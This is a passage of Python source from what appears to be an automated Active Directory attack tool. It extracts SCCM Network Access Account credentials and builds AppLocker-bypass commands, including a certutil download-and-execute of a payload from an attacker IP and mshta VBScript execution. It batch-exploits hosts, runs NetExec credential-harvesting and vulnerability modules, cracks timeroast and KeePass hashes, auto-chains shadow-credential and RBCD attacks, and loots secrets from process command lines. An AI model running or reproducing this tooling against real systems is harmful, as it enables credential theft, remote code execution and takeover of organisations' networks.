# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def detect_sccm(cfg: Config) -> str:
"""Discover SCCM Management Point."""
if cfg.sccm_server:
detail(f"SCCM server: {cfg.sccm_server} (user-specified)")
return cfg.sccm_server
sccmhunter_path = find_tool(
"sccmhunter",
paths=[TOOLS_DIR / "sccmhunter" / "sccmhunter.py"]
)
if sccmhunter_path:
log.info("Discovering SCCM Management Points via sccmhunter...")
find_output = cfg.work_dir / "sccm-find.txt"
cmd = sccmhunter_path.split() + [
"find",
"-u", cfg.username,
"-d", cfg.domain,
"-dc-ip", cfg.dc_ip,
]
if cfg.nthash:
cmd += ["-hashes", f":{cfg.nthash}"]
else:
cmd += ["-p", cfg.password]
result = run(cmd, cfg, timeout=120, outfile=find_output)
output = result.stdout or ""
if find_output.exists():
output += find_output.read_text()
# Parse for Management Point
mp_match = re.search(
r"Management\s*Point[:\s]+(\S+)",
output, re.IGNORECASE
)
if mp_match:
server = mp_match.group(1).strip()
ok(f"SCCM Management Point found: {server}")
cfg.sccm_server = server
return server
# Check for IP/hostname in output
host_match = re.search(r"(\d+\.\d+\.\d+\.\d+).*(?:MP|SCCM|Management)", output, re.IGNORECASE)
if host_match:
server = host_match.group(1)
ok(f"SCCM server found: {server}")
cfg.sccm_server = server
return server
# Fallback: LDAP query via nxc for msSMSManagementPoint
if tool_exists("nxc") and cfg.has_creds:
log.info("Querying LDAP for SCCM Management Point attribute...")
cmd = ["nxc", "ldap", cfg.dc_ip]
if cfg.nthash:
cmd += ["-u", cfg.username, "-H", cfg.nthash, "-d", cfg.domain]
else:
cmd += ["-u", cfg.username, "-p", cfg.password, "-d", cfg.domain]
cmd += ["-M", "sccm"]
result = run(cmd, cfg, timeout=60)
output = result.stdout or ""
mp_match = re.search(r"Management.*?Point[:\s]+(\S+)", output, re.IGNORECASE)
if mp_match:
server = mp_match.group(1).strip()
ok(f"SCCM Management Point from LDAP: {server}")
cfg.sccm_server = server
return server
log.warning("No SCCM Management Point discovered")
return ""
def run_sccm_attack(cfg: Config) -> bool:
"""Extract NAA credentials from SCCM policies."""
phase_header("SCCM NAA CREDENTIAL THEFT")
if not cfg.has_creds:
log.error("SCCM NAA extraction requires domain credentials")
return False
sccmhunter_path = find_tool(
"sccmhunter",
paths=[TOOLS_DIR / "sccmhunter" / "sccmhunter.py"]
)
if not sccmhunter_path:
log.error("sccmhunter not found — install to /opt/tools/sccmhunter")
detail("git clone https://github.com/garrettfoster13/sccmhunter /opt/tools/sccmhunter")
return False
# 1. Discover SCCM server
sccm_server = detect_sccm(cfg)
if not sccm_server:
log.warning("No SCCM server found — skipping NAA extraction")
return False
# 2. Get site code
log.info("Querying SCCM site information...")
show_output = cfg.work_dir / "sccm-show.txt"
cmd = sccmhunter_path.split() + [
"show",
"-u", cfg.username,
"-d", cfg.domain,
"-dc-ip", cfg.dc_ip, # Other sccmhunter calls pass this; without
# it LDAP queries break on networks where
# the attacker can't resolve AD DNS names
]
if cfg.nthash:
cmd += ["-hashes", f":{cfg.nthash}"]
else:
cmd += ["-p", cfg.password]
result = run(cmd, cfg, timeout=120, outfile=show_output)
output = result.stdout or ""
if show_output.exists():
output += show_output.read_text()
# Parse site code
site_match = re.search(r"Site\s*Code[:\s]+(\S+)", output, re.IGNORECASE)
site_code = site_match.group(1).strip() if site_match else ""
if not site_code:
log.warning("Could not determine SCCM site code — trying default 'SMS'")
site_code = "SMS"
ok(f"SCCM site code: {site_code}")
# 3. Extract NAA credentials via HTTP API
log.info("Requesting SCCM policies to extract NAA credentials...")
http_output = cfg.work_dir / "sccm-http.txt"
cmd = sccmhunter_path.split() + [
"http",
"-u", cfg.username,
"-d", cfg.domain,
"-dc-ip", cfg.dc_ip,
"-mp", sccm_server,
"-sc", site_code,
]
if cfg.nthash:
cmd += ["-hashes", f":{cfg.nthash}"]
else:
cmd += ["-p", cfg.password]
result = run(cmd, cfg, timeout=180, outfile=http_output)
output = result.stdout or ""
if http_output.exists():
output += http_output.read_text()
# 4. Parse NAA credentials from output
naa_creds = []
# Look for username/password pairs
user_matches = re.findall(
r"(?:NAA|Network\s*Access\s*Account).*?(?:User(?:name)?|Account)[:\s]+(\S+)",
output, re.IGNORECASE
)
pass_matches = re.findall(
r"(?:NAA|Network\s*Access\s*Account).*?(?:Pass(?:word)?)[:\s]+(\S+)",
output, re.IGNORECASE
)
# Also look for generic credential patterns
if not user_matches:
user_matches = re.findall(r"Username[:\s]+(\S+)", output, re.IGNORECASE)
pass_matches = re.findall(r"Password[:\s]+(\S+)", output, re.IGNORECASE)
for i, user in enumerate(user_matches):
password = pass_matches[i] if i < len(pass_matches) else ""
naa_creds.append((user, password))
# 5. Save and report
if naa_creds:
cred_file = cfg.work_dir / "sccm-naa.txt"
with open(cred_file, "w") as f:
for user, password in naa_creds:
f.write(f"Username: {user}\n")
f.write(f"Password: {password}\n")
f.write("---\n")
success_box(f"SCCM NAA: {len(naa_creds)} credential(s) extracted!")
for user, password in naa_creds:
detail(f" {user} : {password}")
# 6. Set as active credentials if different from current
for user, password in naa_creds:
if user != cfg.username and password:
log.info(f"Additional credential found: {user}")
detail("Consider testing with these credentials for further access")
return True
log.warning("No NAA credentials found in SCCM policies")
detail(f"Raw output saved to: {http_output}")
return False
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# AppLocker Bypass Helpers
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def _build_applocker_cmd(cfg: Config, fallback_cmd: str = "") -> str:
"""Build a command wrapped in a LOLBin for AppLocker bypass.
When AppLocker default rules block untrusted executables, we use
Microsoft-signed LOLBins (mshta, certutil, regsvr32, etc.) or
write payloads to trusted writable paths (C:\\Windows\\Tasks).
"""
cmd = cfg.custom_cmd or fallback_cmd
url = cfg.payload_url
# User-specified LOLBin
if cfg.lolbin and cfg.lolbin in LOLBINS:
template = LOLBINS[cfg.lolbin]
return template.format(cmd=cmd, url=url or f"http://{cfg.attacker_ip}/payload")
# Auto-select best LOLBin based on what's available
if url:
# Remote payload — use certutil or regsvr32
return (f'cmd /c certutil -urlcache -split -f {url} '
f'C:\\Windows\\Tasks\\svc.exe & C:\\Windows\\Tasks\\svc.exe')
if cmd:
# Local command — wrap in mshta for execution bypass
# mshta is the most reliable AppLocker bypass
escaped = cmd.replace('"', '""')
return (f'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run '
f'""{escaped}"", 0:close")')
return cmd
def _get_applocker_exec_cmd(cfg: Config) -> str:
"""Build an ntlmrelayx --execute-cmd string that works under AppLocker."""
cmd = cfg.custom_cmd
url = cfg.payload_url
if cfg.lolbin and cfg.lolbin in LOLBINS:
template = LOLBINS[cfg.lolbin]
return template.format(cmd=cmd, url=url or f"http://{cfg.attacker_ip}/payload")
# Prioritize execution methods that bypass AppLocker:
# 1. SOCKS + wmiexec (WMI not subject to AppLocker)
# 2. SOCKS + smbexec (services run as SYSTEM)
# 3. LOLBin-wrapped direct execution
if cfg.use_socks:
return "" # SOCKS mode handles this differently
if url:
return (f'cmd /c certutil -urlcache -split -f {url} '
f'C:\\Windows\\Tasks\\svc.exe & C:\\Windows\\Tasks\\svc.exe')
if cmd:
escaped = cmd.replace('"', '""')
return (f'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run '
f'""{escaped}"", 0:close")')
return ""
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Batch Mode
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def run_batch(targets: list[str], cfg: Config) -> int:
"""Exploit all targets. Reuses proven method. Returns success count."""
total = len(targets)
succeeded = 0
proven_method = ""
log.info(f"🎯 Batch exploitation: {total} targets")
separator()
for i, target in enumerate(targets, 1):
if not target:
continue
log.info(f"[{i}/{total}] Targeting {target}")
if proven_method:
log.info(f"♻️ Reusing proven method: {proven_method}")
cfg.method = proven_method
if exploit_target(target, cfg):
succeeded += 1
wm_file = cfg.work_dir / f"working-method-{target}.txt"
if wm_file.exists():
proven_method = wm_file.read_text().strip()
else:
proven_method = ""
cfg.method = ""
cfg.method = "" # Reset
ok(f"Batch complete: {succeeded}/{total} targets compromised")
return succeeded
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# NetExec (nxc) post-cred enrichment battery
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def run_nxc_enrichment(cfg: Config):
"""Post-credential nxc battery: vuln checks + cred mining + recon.
Each module runs independently — failures are non-fatal, just warned.
All output captured to work_dir/nxc-<module>.txt for offline review.
Tier A (high yield, trivial cost):
ldap maq MachineAccountQuota (RBCD viability hint)
ldap laps LAPS admin password retrieval
ldap pre2k Pre-2000 default-password computer accounts
ldap get-desc-users User-description password mining
ldap get-userPassword LDAP userPassword attribute mining
smb nopac CVE-2021-42278/42287 sAMAccountName spoof check
Tier B (specific high-impact):
smb timeroast NTP-based hash extraction (works where Kerberoast blocked)
smb zerologon CVE-2020-1472 check
smb coerce_plus Unified PetitPotam/DFSCoerce/ShadowCoerce/EFSRPC check
ldap dns-nonsecure ADIDNS nonsecure-update zones
Tier C (niche):
smb backup_operator Backup Operators DRSR escalation
smb printnightmare CVE-2021-34527 check
ldap badsuccessor DMSA bad successor (2024 vuln)
"""
if not tool_exists("nxc"):
log.warning("nxc not available — skipping enrichment")
return
if not cfg.has_creds:
log.warning("nxc enrichment is post-auth — skipping (no creds yet)")
return
if not cfg.dc_ip:
log.warning("cfg.dc_ip not set — skipping nxc enrichment")
return
phase_header("NXC ENRICHMENT (post-auth recon + cred harvest)")
auth = _nxc_auth_args(cfg)
subnet = cfg.target_net or cfg.specific_target or cfg.dc_ip
# Each entry: (label, protocol, target, [extra args after -M <module>])
runs = [
# --- Tier A ---
("maq", "ldap", cfg.dc_ip, "maq", []),
("laps", "ldap", cfg.dc_ip, "laps", []),
("pre2k", "ldap", cfg.dc_ip, "pre2k", []),
("get-desc-users", "ldap", cfg.dc_ip, "get-desc-users", []),
("get-userPassword", "ldap", cfg.dc_ip, "get-userPassword", []),
("nopac", "smb", cfg.dc_ip, "nopac", []),
# --- Tier B ---
("timeroast", "smb", cfg.dc_ip, "timeroast", []),
("zerologon", "smb", cfg.dc_ip, "zerologon", []),
("coerce_plus", "smb", subnet, "coerce_plus",
["-o", f"LISTENER={cfg.attacker_ip}"] if cfg.attacker_ip else []),
("dns-nonsecure", "ldap", cfg.dc_ip, "dns-nonsecure", []),
# --- Tier C ---
("backup_operator", "smb", cfg.dc_ip, "backup_operator", []),
("printnightmare", "smb", subnet, "printnightmare", []),
("badsuccessor", "ldap", cfg.dc_ip, "badsuccessor", []),
]
for label, proto, target, module, extra in runs:
out_file = cfg.work_dir / f"nxc-{label}.txt"
cmd = ["nxc", proto, target] + auth + ["-M", module] + extra
log.info(f"🔍 nxc {proto} -M {label}")
try:
result = run(cmd, cfg, timeout=180, outfile=out_file)
except Exception as ex:
log.warning(f"nxc {label} crashed: {ex}")
continue
if result.returncode != 0:
log.warning(f"nxc {label} rc={result.returncode} — see {out_file}")
continue
# Surface any "[+]" hits (nxc convention for findings) inline
if out_file.exists():
hits = [ln for ln in out_file.read_text().splitlines() if "[+]" in ln]
if hits:
ok(f"nxc {label}: {len(hits)} hit(s)")
for h in hits[:5]:
detail(h.strip()[:160])
else:
detail(f"nxc {label} ran clean — no findings")
ok(f"nxc enrichment done — full output in {cfg.work_dir}/nxc-*.txt")
# Now extract anything actionable from the module outputs
consume_nxc_findings(cfg)
def consume_nxc_findings(cfg: Config):
"""Parse the nxc enrichment outputs for actionable findings:
laps → host:laps_password pairs (write enrich-laps.txt)
timeroast → SNTP-MS hashes → auto-crack with hashcat -m 31300
get-userPassword → user:password from the LDAP userPassword attribute
get-desc-users → user descriptions that *look* like they leak a password
pre2k → write parsed machine names (used by _pre2k_autotest too)
maq → record MachineAccountQuota
nopac/zerologon → flag if not patched
backup_operator → flag if exploitation succeeded
badsuccessor → flag if dMSA objects exist
Consolidated extracted creds go to enrich-extracted-creds.txt. Vuln
flags + values go to enrich-summary.txt."""
extracted_creds: list[str] = []
summary_lines: list[str] = []
def _read(name: str) -> str:
f = cfg.work_dir / f"nxc-{name}.txt"
return f.read_text(errors="replace") if f.exists() else ""
# --- LAPS: nxc emits "[+] <HOST>: <password>" — match on the "[+] HOST: PW"
# shape rather than the protocol token "LAPS" (which doesn't appear on
# the password lines themselves). Skip the empty-result lines that
# mention the schema attributes.
laps_text = _read("laps")
laps_pairs: list[tuple[str, str]] = []
for line in laps_text.splitlines():
if "ms-MCS-AdmPwd" in line or "msLAPS-Password" in line:
continue
if "[+]" not in line:
continue
m = re.search(r"\[\+\]\s+([A-Za-z0-9-]+\$?)\s*:\s*(\S{8,})\s*$", line)
if m:
host, pw = m.group(1), m.group(2)
if pw not in {"None", "null"}:
laps_pairs.append((host, pw))
if laps_pairs:
ok(f"💎 LAPS passwords recovered: {len(laps_pairs)}")
laps_file = cfg.work_dir / "enrich-laps.txt"
laps_file.write_text("\n".join(f"{h}\t{p}" for h, p in laps_pairs) + "\n")
for h, p in laps_pairs[:5]:
detail(f"{h} → {p}")
extracted_creds.append(f"{h}:{p}")
# --- timeroast: lines like "TIMEROAST ... <rid>:$sntp-ms$<hash>"
timeroast_text = _read("timeroast")
sntp_hashes: list[str] = []
for line in timeroast_text.splitlines():
m = re.search(r"(\d+:\$sntp-ms\$[a-f0-9]+)", line, re.I)
if m:
sntp_hashes.append(m.group(1))
if sntp_hashes:
ok(f"⏰ Timeroast hashes captured: {len(sntp_hashes)}")
hash_file = cfg.work_dir / "enrich-timeroast-hashes.txt"
hash_file.write_text("\n".join(sntp_hashes) + "\n")
# Try to crack — SNTP-MS is hashcat mode 31300
wordlist: Optional[Path] = None
for wl in WORDLISTS:
if wl.exists() and wl.suffix != ".gz":
wordlist = wl
break
if wl.suffix == ".gz" and wl.exists():
plain = wl.with_suffix("")
if plain.exists():
wordlist = plain
break
if wordlist and tool_exists("hashcat"):
cracked = cfg.work_dir / "enrich-timeroast-cracked.txt"
log.info(f"⚙️ hashcat -m 31300 on {len(sntp_hashes)} timeroast hash(es) (cap 120s)")
run(["hashcat", "-m", "31300", str(hash_file), str(wordlist),
"--outfile", str(cracked), "--outfile-format=2",
"--quiet", "--runtime=120"], cfg, timeout=180)
if cracked.exists() and cracked.stat().st_size > 0:
cracked_pwds = [ln for ln in cracked.read_text().splitlines() if ln.strip()]
ok(f"💎 Timeroast cracked: {len(cracked_pwds)} machine password(s)")
for p in cracked_pwds[:5]:
detail(p)
extracted_creds.append(f"machine_acct:{p}")
# --- get-userPassword: "[+] User: alice userPassword: P@ss"
upw_text = _read("get-userPassword")
for line in upw_text.splitlines():
m = re.search(r"User:\s*(\S+).*?userPassword:\s*(\S+)", line)
if m:
user, pw = m.group(1), m.group(2)
ok(f"💎 LDAP userPassword: {user} → {pw}")
extracted_creds.append(f"{user}:{pw}")
# --- get-desc-users: "[+] user (description=...)" — flag descs containing
# password-like substrings (4+ chars, at least one digit/symbol)
desc_text = _read("get-desc-users")
desc_hits: list[str] = []
for line in desc_text.splitlines():
m = re.search(r"User:\s*(\S+)\s+description:\s*(.+)$", line)
if not m:
continue
user, desc = m.group(1), m.group(2).strip()
if re.search(r"(?i)(pass|pwd|secret|cred|login)\W*[:= ]\W*\S{4,}", desc):
desc_hits.append(f"{user}\t{desc}")
ok(f"💎 Description-leaked password? {user}: {desc[:80]}")
extracted_creds.append(f"{user}:? (description: {desc[:80]})")
if desc_hits:
(cfg.work_dir / "enrich-descs.txt").write_text("\n".join(desc_hits) + "\n")
# --- pre2k: parse machine names (already used by _pre2k_autotest, but
# surface here too so an operator can see them in the summary)
pre2k_text = _read("pre2k")
pre2k_machines: list[str] = []
for line in pre2k_text.splitlines():
m = re.search(r"\b([A-Za-z][A-Za-z0-9_-]+\$)\b", line)
if m and "PRE2K" in line.upper():
pre2k_machines.append(m.group(1))
if pre2k_machines:
pre2k_machines = list(dict.fromkeys(pre2k_machines))
ok(f"📌 pre2k machine accounts: {len(pre2k_machines)}")
(cfg.work_dir / "enrich-pre2k.txt").write_text("\n".join(pre2k_machines) + "\n")
# --- maq value (accept both "MachineAccountQuota: N" and "= N" formats)
maq_text = _read("maq")
m = re.search(r"MachineAccountQuota[:\s=]+(\d+)", maq_text)
if m:
maq = int(m.group(1))
if maq > 0:
summary_lines.append(f"MAQ-RBCD-VIABLE: MachineAccountQuota = {maq}")
detail(f"MAQ={maq} — RBCD machine-account creation viable")
else:
summary_lines.append(f"MachineAccountQuota = 0 (RBCD path closed)")
# --- nopac (CVE-2021-42278/42287)
if "VULNERABLE" in _read("nopac").upper() or "NOPAC IS VULNERABLE" in _read("nopac").upper():
ok("🔥 noPac (CVE-2021-42278/42287) appears VULNERABLE")
summary_lines.append("noPac: VULNERABLE")
# --- zerologon (CVE-2020-1472): "Attack failed" in patched, "VULNERABLE" otherwise
zl = _read("zerologon")
if "VULNERABLE" in zl.upper() or ("succe" in zl.lower() and "fail" not in zl.lower()):
ok("🔥 Zerologon (CVE-2020-1472) appears VULNERABLE")
summary_lines.append("Zerologon: VULNERABLE")
# --- backup_operator: "[+] DC compromised" / "saved as" success markers
bo = _read("backup_operator")
if re.search(r"saved as|DC compromised|secrets dumped", bo, re.I):
ok("🔥 Backup Operators DRSR escalation appears successful")
summary_lines.append("backup_operator: PRIV-ESC achieved")
# --- badsuccessor: dMSA objects present
bs = _read("badsuccessor")
if "found" in bs.lower() and re.search(r"\bdMSA\b|results", bs, re.I):
m = re.search(r"Found\s+(\d+)\s+result", bs)
n = int(m.group(1)) if m else 1
ok(f"🔥 badsuccessor: {n} dMSA object(s) (BadSuccessor 2024 vuln applicable)")
summary_lines.append(f"badsuccessor: {n} dMSA object(s)")
# Persist consolidated outputs
if extracted_creds:
creds_file = cfg.work_dir / "enrich-extracted-creds.txt"
creds_file.write_text("\n".join(extracted_creds) + "\n")
ok(f"📝 nxc enrichment yielded {len(extracted_creds)} credential leak(s) → {creds_file.name}")
if summary_lines:
(cfg.work_dir / "enrich-summary.txt").write_text("\n".join(summary_lines) + "\n")
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# BloodHound — graph collection (-c All) + automatic analysis
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def run_bloodhound_collect(cfg: Config) -> bool:
"""Collect AD graph data with bloodhound-python (-c All --zip), then
parse the resulting JSON files for high-value findings.
Equivalent to:
bloodhound-python -c All -u USER -p PASS -d DOMAIN \\
-dc DC.FQDN -ns DC_IP --zip
"""
if not tool_exists("bloodhound-python"):
log.warning("bloodhound-python not available — skipping BloodHound collection")
return False
if not cfg.has_creds:
log.warning("BloodHound is post-auth — skipping (no creds)")
return False
if not (cfg.domain and cfg.dc_fqdn and cfg.dc_ip):
log.warning("BloodHound needs domain + dc-fqdn + dc-ip — skipping")
return False
phase_header("BLOODHOUND COLLECTION + ANALYSIS")
bh_dir = cfg.work_dir / "bloodhound"
bh_dir.mkdir(exist_ok=True)
cmd = ["bloodhound-python", "-c", "All",
"-u", cfg.username,
"-d", cfg.domain,
"-dc", cfg.dc_fqdn,
"-ns", cfg.dc_ip,
"--zip"]
if cfg.nthash:
cmd += ["--hashes", f":{cfg.nthash}"]
elif cfg.password:
cmd += ["-p", cfg.password]
log.info(f"🐶 bloodhound-python -c All against {cfg.dc_fqdn} ({cfg.dc_ip})")
out_file = bh_dir / "collect.log"
# bloodhound-python writes ZIP/JSON into the current working directory
prev_cwd = os.getcwd()
try:
os.chdir(bh_dir)
result = run(cmd, cfg, timeout=900, outfile=out_file)
finally:
os.chdir(prev_cwd)
if cfg.dry_run:
return True
if result.returncode != 0:
log.warning(f"bloodhound-python rc={result.returncode} — see {out_file}")
zip_files = sorted(bh_dir.glob("*bloodhound.zip"),
key=lambda p: p.stat().st_mtime, reverse=True)
if not zip_files:
zip_files = sorted(bh_dir.glob("*.zip"),
key=lambda p: p.stat().st_mtime, reverse=True)
analysis: dict = {}
if zip_files:
ok(f"BloodHound data collected: {zip_files[0].name}")
analysis = analyze_bloodhound_data(zip_files[0], cfg)
else:
# bloodhound-python may have written raw JSON without zipping
json_files = list(bh_dir.glob("*_users.json"))
if json_files:
ok("BloodHound JSON files written (no zip)")
analysis = analyze_bloodhound_data(None, cfg, json_dir=bh_dir)
else:
log.warning("BloodHound produced no output — collection failed")
return False
# Opportunistic chains: walk actionable edges and fire matching primitives
if not cfg.no_bh_auto_action:
_bh_auto_action(analysis.get("actionable_edges", []), cfg)
return True
def _bh_auto_action(edges: list[dict], cfg: Config):
"""Fire opportunistic attack chains for each actionable BloodHound edge.
Maps edge (right, target_type) → primitive:
WriteSPN → try_ghost_spn_upgrade (CVE-2025-58726-style)
AddKeyCredentialLink → run_shadow_credentials (PKINIT pre-auth)
GenericAll/Write* on Computer → run_rbcd_attack (RBCD impersonation)
De-duplicates by (action, target) so the same target isn't hit twice.
Caps total auto-actions to avoid runaway chains."""
if not edges:
return
fired: set[tuple[str, str]] = set()
cap = 8 # safety net — don't burn the whole run on graph chasing
phase_header("BLOODHOUND OPPORTUNISTIC CHAINS")
for e in edges:
if len(fired) >= cap:
log.info(f"Auto-action cap ({cap}) reached — stopping (use --no-bh-auto-action to disable)")
break
action = _BH_AUTO_ACTION_MAP.get((e["right"], e["target_type"]))
if not action:
continue
sam = _bh_name_to_sam(e["target_name"], e["target_type"])
key = (action, sam)
if key in fired:
continue
fired.add(key)
log.info(f"⚡ {action} ← {e['right']} on {e['target_type']}:{e['target_name']} (sam={sam})")
try:
if action == "ghost_spn":
try_ghost_spn_upgrade(sam, cfg)
elif action == "shadow_creds":
run_shadow_credentials(sam, cfg)
elif action == "rbcd":
run_rbcd_attack(sam, cfg)
except Exception as ex:
log.warning(f"Auto-action {action} on {sam} crashed: {ex}")
if fired:
ok(f"Auto-action: {len(fired)} chain(s) attempted from BloodHound edges")
else:
detail("No matching auto-action edges (ACE rights present but not on actionable target type)")
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Loot — process command-line harvest + KeePass vault discovery/crack
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Patterns that suggest secrets in process command-lines. Tight enough that
# the noise floor stays low on a real workstation; loose enough to catch
# runas, sqlcmd, mysql, KeePass and arbitrary "/p:" style flags.
_LOOT_SECRET_PATTERNS = [
re.compile(r"\s-p\s*\S{3,}", re.I), # -p<pass> / -p <pass>
re.compile(r"--password[= ]\S+", re.I),
re.compile(r"/p(?:wd|assword)?[: =]\S+", re.I), # /p:foo, /pwd:foo, /password=foo
re.compile(r"\bpass(?:word)?[: =]\S+", re.I),
re.compile(r"\b(?:secret|token|apikey|api_key)[: =]\S+", re.I),
re.compile(r"runas\s+/user[: =]\S+", re.I),
re.compile(r"-pw[: ]\S+", re.I), # KeePass -pw:
]
def _loot_get_targets(cfg: Config) -> list[str]:
"""Pick up to 10 hosts to loot. Priority: explicit target → exploit-succeeded
hosts (working-method-*.txt) → high-value targets → relay targets."""
if cfg.specific_target:
return [cfg.specific_target]
targets: list[str] = []
for f in cfg.work_dir.glob("working-method-*.txt"):
targets.append(f.stem.replace("working-method-", ""))
if not targets:
hv = cfg.work_dir / "high-value-targets.txt"
if hv.exists():
targets.extend([l.strip() for l in hv.read_text().splitlines() if l.strip()])
if not targets:
rt = cfg.work_dir / "relay-targets.txt"
if rt.exists():
targets.extend([l.strip() for l in rt.read_text().splitlines() if l.strip()])
seen: set[str] = set()
out: list[str] = []
for t in targets:
if t and t not in seen:
seen.add(t)
out.append(t)
return out[:10]
def _loot_processes(host: str, cfg: Config) -> int:
"""Run Get-CimInstance Win32_Process via nxc -x and grep for secrets in
command-lines. Returns number of secret-pattern hits."""
if not tool_exists("nxc"):
return 0
out_file = cfg.work_dir / f"loot-procs-{host}.txt"
auth = _nxc_auth_args(cfg)
ps_cmd = (
"Get-CimInstance Win32_Process | "
"Select-Object Name,CommandLine | "
"Format-Table -AutoSize | Out-String -Width 4096"
)
cmd = ["nxc", "smb", host] + auth + ["-x", f'powershell -NoP -C "{ps_cmd}"']
log.info(f"💰 cmdline harvest on {host}")
result = run(cmd, cfg, timeout=120, outfile=out_file)
if result.returncode != 0 or not out_file.exists():
return 0
text = out_file.read_text(errors="replace")
hits: list[str] = []
for line in text.splitlines():
if not line.strip() or line.lstrip().startswith(("Name ", "----", "[*]", "[+]", "[-]")):
continue
for pat in _LOOT_SECRET_PATTERNS:
if pat.search(line):
hits.append(line.strip())
break
if hits:
secrets_file = cfg.work_dir / f"loot-secrets-{host}.txt"
secrets_file.write_text("\n".join(hits) + "\n")
ok(f"💰 Cmdline secrets on {host}: {len(hits)} hit(s)")
for h in hits[:5]:
detail(h[:200])
return len(hits)
def _smb_get_file(host: str, remote_path: str, local_path: Path, cfg: Config) -> bool:
"""Pull a file from a remote host's admin share via smbclient.
remote_path: 'C:\\Users\\foo\\db.kdbx' → fetched from C$ share."""
if not tool_exists("smbclient"):
return False
rel = remote_path.strip().strip('"').strip("'")
drive_match = re.match(r"^([A-Z]):\\(.*)$", rel, re.I)
if drive_match:
share = f"{drive_match.group(1).upper()}$"
rel = drive_match.group(2)
else:
share = "C$"
rel = rel.replace("/", "\\")
if cfg.password:
auth = ["-U", f"{cfg.domain}/{cfg.username}%{cfg.password}"]
elif cfg.nthash:
auth = ["-U", f"{cfg.domain}/{cfg.username}", "--pw-nt-hash"]
else:
return False
cmd = ["smbclient", f"//{host}/{share}"] + auth + [
"-c", f'get "{rel}" "{local_path}"',
]
result = run(cmd, cfg, timeout=180)
return (result.returncode == 0
and local_path.exists()
and local_path.stat().st_size > 0)
def _crack_kdbx(kdbx: Path, cfg: Config) -> bool:
"""keepass2john + hashcat 13400 against a downloaded .kdbx."""
if not tool_exists("keepass2john"):
log.debug("keepass2john missing — apt install john")
return False
hash_file = kdbx.with_suffix(".kdbx.hash")
result = run(["keepass2john", str(kdbx)], cfg, timeout=60)
if result.returncode != 0 or not (result.stdout or "").strip():
log.debug(f"keepass2john produced no hash for {kdbx.name}")
return False
hash_file.write_text(result.stdout)
wordlist: Optional[Path] = None
for wl in WORDLISTS:
if wl.exists() and wl.suffix != ".gz":
wordlist = wl
break
if wl.suffix == ".gz" and wl.exists():
plain = wl.with_suffix("")
if plain.exists():
wordlist = plain
break
run(["gunzip", "-k", str(wl)], cfg)
if plain.exists():
wordlist = plain
break
if not wordlist:
log.warning(f"No wordlist for KeePass crack of {kdbx.name}")
return False
if not tool_exists("hashcat"):
return False
cracked_file = kdbx.with_suffix(".kdbx.cracked")
log.info(f"⚙️ hashcat -m 13400 on {kdbx.name} (cap 120s)")
run(
["hashcat", "-m", "13400", str(hash_file), str(wordlist),
"--outfile", str(cracked_file), "--outfile-format=2",
"--quiet", "--runtime=120"],
cfg, timeout=180,
)
if cracked_file.exists() and cracked_file.stat().st_size > 0:
pwd = _first_line(cracked_file.read_text())
success_box(f"💎 KeePass cracked: {kdbx.name}")
detail(f"Master password: {pwd}")
return True
detail(f"KeePass {kdbx.name} not cracked with current wordlist")
return False
def _loot_keepass(host: str, cfg: Config) -> int:
"""Discover *.kdbx in C:\\Users, download via SMB, crack with keepass2john+hashcat."""
if not tool_exists("nxc"):
return 0
list_file = cfg.work_dir / f"loot-keepass-list-{host}.txt"
auth = _nxc_auth_args(cfg)
ps_cmd = (
"Get-ChildItem -Path C:\\Users -Recurse -Include *.kdbx "
"-ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName"
)
cmd = ["nxc", "smb", host] + auth + ["-x", f'powershell -NoP -C "{ps_cmd}"']
log.info(f"💰 KeePass discovery on {host}")
result = run(cmd, cfg, timeout=180, outfile=list_file)
if result.returncode != 0 or not list_file.exists():
return 0
raw = list_file.read_text(errors="replace")
paths: list[str] = []
for ln in raw.splitlines():
m = re.search(r"([A-Z]:\\\S.*\.kdbx)", ln, re.I)
if m:
paths.append(m.group(1))
paths = list(dict.fromkeys(paths)) # dedupe preserving order
if not paths:
detail(f"No KeePass vaults found on {host}")
return 0
ok(f"💰 KeePass vaults on {host}: {len(paths)}")
cracked_count = 0
for rpath in paths[:5]:
local = cfg.work_dir / f"loot-{host}-{Path(rpath).name}"
if _smb_get_file(host, rpath, local, cfg):
ok(f"📥 Downloaded {rpath} → {local.name}")
if _crack_kdbx(local, cfg):
cracked_count += 1
else:
detail(f"Could not download {rpath} (no admin on share?)")
return cracked_count
def run_loot(cfg: Config) -> bool:
"""Loot phase: process-cmdline harvest + KeePass discovery/crack across
compromised / high-value / relay-target hosts."""
phase_header("LOOT — process cmdlines + KeePass vaults")
if not cfg.has_creds:
log.warning("Loot phase needs creds — skipping")
return False
targets = _loot_get_targets(cfg)
if not targets:
log.warning("No loot targets (no compromised/HV/relay-target hosts known yet)")
return False
